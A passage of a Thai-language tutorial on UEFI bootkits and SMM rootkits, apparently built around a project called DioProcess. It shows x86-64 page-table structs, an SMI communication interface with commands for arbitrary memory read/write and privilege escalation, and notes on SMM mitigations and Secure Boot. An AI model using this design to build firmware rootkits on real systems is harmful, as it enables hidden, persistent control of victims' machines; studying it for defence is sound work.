} while (CurrentEntry != SysEprocess); // Loop จนกลับมาที่จุดเริ่มต้น
SerialPrint("[ SMM ] Process not found in the list\r\n");
return 0;
}
2.4 Page Table Structures
เพื่อทำความเข้าใจการทำงานของ memory translation เราต้องเข้าใจโครงสร้างของ page table ใน x86-64
2.4.1 4-Level Paging Structure
┌────────────────────────────────────────────────────────────────────┐
│ x86-64 Virtual Address (48 bits) │
├────────────────────────────────────────────────────────────────────┤
│ 63-48 │ 47-39 │ 38-30 │ 29-21 │ 20-12 │ 11-0 │
│ Sign │ PML4 │ PDPE │ PDE │ PTE │ Offset │
│ Ext │ Index │ Index │ Index │ Index │ │
└────────────────────────────────────────────────────────────────────┘
2.4.2 Page Table Entry Structures
// file: DioProcessSmm/PML4.h
typedef union _PML4E {
struct {
UINT64 Present : 1; // Entry valid
UINT64 ReadWrite : 1; // Read/Write permission
UINT64 UserSupervisor : 1; // User/Supervisor access
UINT64 PageWriteThrough : 1;
UINT64 PageCacheDisable : 1;
UINT64 Accessed : 1;
UINT64 Ignored1 : 1;
UINT64 Reserved1 : 2;
UINT64 Avl : 3;
UINT64 Pfn : 40; // Page Frame Number (physical address >> 12)
UINT64 Ignored2 : 11;
UINT64 NoExecute : 1;
} Bits;
UINT64 Value;
} PML4E, *PPML4E;
typedef union _PDPE {
struct {
UINT64 Present : 1;
UINT64 ReadWrite : 1;
UINT64 UserSupervisor : 1;
UINT64 PageWriteThrough : 1;
UINT64 PageCacheDisable : 1;
UINT64 Accessed : 1;
UINT64 Dirty : 1;
UINT64 Size : 1; // 1 = 1GB page
UINT64 Global : 1;
UINT64 Avl : 3;
UINT64 Pfn : 40;
UINT64 Ignored2 : 11;
UINT64 NoExecute : 1;
} Bits;
UINT64 Value;
} PDPE, *PPDPE;
typedef union _PDE {
struct {
UINT64 Present : 1;
UINT64 ReadWrite : 1;
UINT64 UserSupervisor : 1;
UINT64 PageWriteThrough : 1;
UINT64 PageCacheDisable : 1;
UINT64 Accessed : 1;
UINT64 Dirty : 1;
UINT64 Size : 1; // 1 = 2MB page
UINT64 Global : 1;
UINT64 Avl : 3;
UINT64 Pfn : 40;
UINT64 Ignored2 : 11;
UINT64 NoExecute : 1;
} Bits;
UINT64 Value;
} PDE, *PPDE;
typedef union _PTE {
struct {
UINT64 Present : 1;
UINT64 ReadWrite : 1;
UINT64 UserSupervisor : 1;
UINT64 PageWriteThrough : 1;
UINT64 PageCacheDisable : 1;
UINT64 Accessed : 1;
UINT64 Dirty : 1;
UINT64 Pat : 1;
UINT64 Global : 1;
UINT64 Avl : 3;
UINT64 Pfn : 40;
UINT64 Ignored2 : 11;
UINT64 NoExecute : 1;
} Bits;
UINT64 Value;
} PTE, *PPTE;
2.5 Communication Interface
2.5.1 Communication Data Structures
// file: DioProcessSmm/Defs.h
// Command codes
#define CMD_DIOPROCESS_PING_SMI 0xD700DEADULL
#define CMD_DIOPROCESS_READ_PHYS 0xD800AAABULL
#define CMD_DIOPROCESS_WRITE_PHYS 0xD800BBCDULL
#define CMD_DIOPROCESS_VIRT_TO_PHYS 0xD800FF11ULL
#define CMD_DIOPROCESS_READ_VIRTUAL 0xD900CCEFULL
#define CMD_DIOPROCESS_WRITE_VIRTUAL 0xD900DDAFULL
#define CMD_DIOPROCESS_PRIV_ESC 0xD100AC91ULL
#define CMD_DIOPROCESS_CACHE_SESSION_INFO 0xD110A110ULL
typedef struct _DIOPROCESS_COMMUNICATION {
UINT32 Command;
EFI_STATUS SmiRetStatus;
UINT64 CommBufSize;
struct {
UINT64 TargetProcessId;
VOID *PhysReadAddress;
VOID *VaReadAddress;
VOID *ReadResult;
UINT64 ReadLength;
} Read;
struct {
UINT64 TargetProcessId;
VOID *PhysWriteAddress;
VOID *VaWriteAddress;
VOID *DataToWrite;
UINT64 WriteLength;
} Write;
struct {
UINT64 ControllerProcessId;
VOID *VaPsInitialSysProcess;
UINT64 DirBase;
} Cache;
struct {
UINT64 TargetPid;
VOID *AddressToTranslate;
VOID *Translated;
} Vtop;
} DIOPROCESS_COMMUNICATION, *PDIOPROCESS_COMMUNICATION;
2.5.2 Transfer API Structure
// file: DioProcessDxe/Defs.h
typedef struct _DIOPROCESS_TRANSFER {
struct {
VOID *CommBufVirtual;
VOID *CommBufPhys;
UINTN BufSize;
} Buffer;
struct {
VOID *SetupBufFunction;
VOID *SmmCommunicateFunction;
} API;
} DIOPROCESS_TRANSFER, *PDIOPROCESS_TRANSFER;
2.6 Security Considerations
2.6.1 SMM Mitigations
Modern platforms มี protections หลายชั้นสำหรับ SMM
| Protection | Description |
|---|---|
| D_LCK | SMRAM Lock — ป้องกันการ modify SMRAM หลังจาก boot |
| SMM_CODE_CHK | ป้องกันการ execute code นอก SMRAM จาก SMM context |
| STM | SMI Transfer Monitor — peer hypervisor สำหรับ monitor SMM |
| Intel PPAM | Hardware-enforced SMM isolation |
2.6.2 Secure Boot
Secure Boot คือ mitigation หลักสำหรับ UEFI bootkit
┌─────────────────────────────────────────────────────┐
│ Secure Boot Chain │
├─────────────────────────────────────────────────────┤
│ PK (Platform Key) → OEM owns │
│ ↓ │
│ KEK (Key Exchange Key) → Microsoft/OEM │
│ ↓ │
│ db (Signature Database) → Trusted signatures │
│ dbx (Revocation List) → Blacklisted hashes │
│ ↓ │
│ Verify all UEFI binaries before execution │
└─────────────────────────────────────────────────────┘
2.6.3 Buffer Validation
SMM driver ต้องตรวจสอบว่า communication buffer ไม่ overlap กับ SMRAM เพื่อป้องกัน SMM callout attacks
// file: DioProcessSmm/Smi.c
if (!SmmIsBufferOutsideSmmValid((UINTN)CommBuffer, PayloadSize)) {
SerialPrint("[ SMM ] Communication buffer overlaps SMRAM!\r\n");
return EFI_SUCCESS;
}
2.7 สรุปท้ายบท
| Aspect | ExitBootServices Hook | SMM Rootkit |
|---|---|---|
| Ring Level | Ring 0 context (ก่อน OS boot) | Ring -2 |
| Persistence | ต้องอยู่ใน firmware | อยู่ใน SMRAM (firmware) |
| Visibility | ทำงานก่อน OS | ซ่อนจาก OS ตลอดเวลา |
| Capability | Patch OS kernel | Full hardware control |
| Mitigation | Secure Boot | SMM Lock, STM |
Key Takeaways
-
ExitBootServices คือจุดเปลี่ยนผ่านที่สำคัญที่สุดระหว่าง UEFI กับ OS เป็นเป้าหมายหลักของ bootkit เพราะ kernel image อยู่ใน memory แล้วแต่ยังไม่ได้ execute
-
SMM คือ CPU mode ที่มี privilege สูงสุดรองจาก Management Engine code ที่ทำงานใน SMM สามารถอ่าน/เขียน memory ของ process ใด ๆ และแทบจะตรวจจับไม่ได้
-
การ walk page table structures (PML4 → PDPE → PDE → PTE) เป็นพื้นฐานสำคัญสำหรับการ translate virtual address ไปเป็น physical address
-
การ walk EPROCESS linked list ทำให้เราสามารถหา process ใด ๆ และอ่าน DirectoryBase, Token หรือข้อมูลอื่น ๆ ได้
-
Defense in depth เป็นสิ่งจำเป็น ไม่มี single protection ที่สามารถป้องกัน firmware-level attacks ได้ทั้งหมด
References
- UEFI Specification 2.10
- UEFI Platform Initialization Specification, Volume 4: SMM
- Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 3C (System Programming Guide)
- DioProcess Source Code (DioProcessEfi, DioProcessDxe, DioProcessSmm)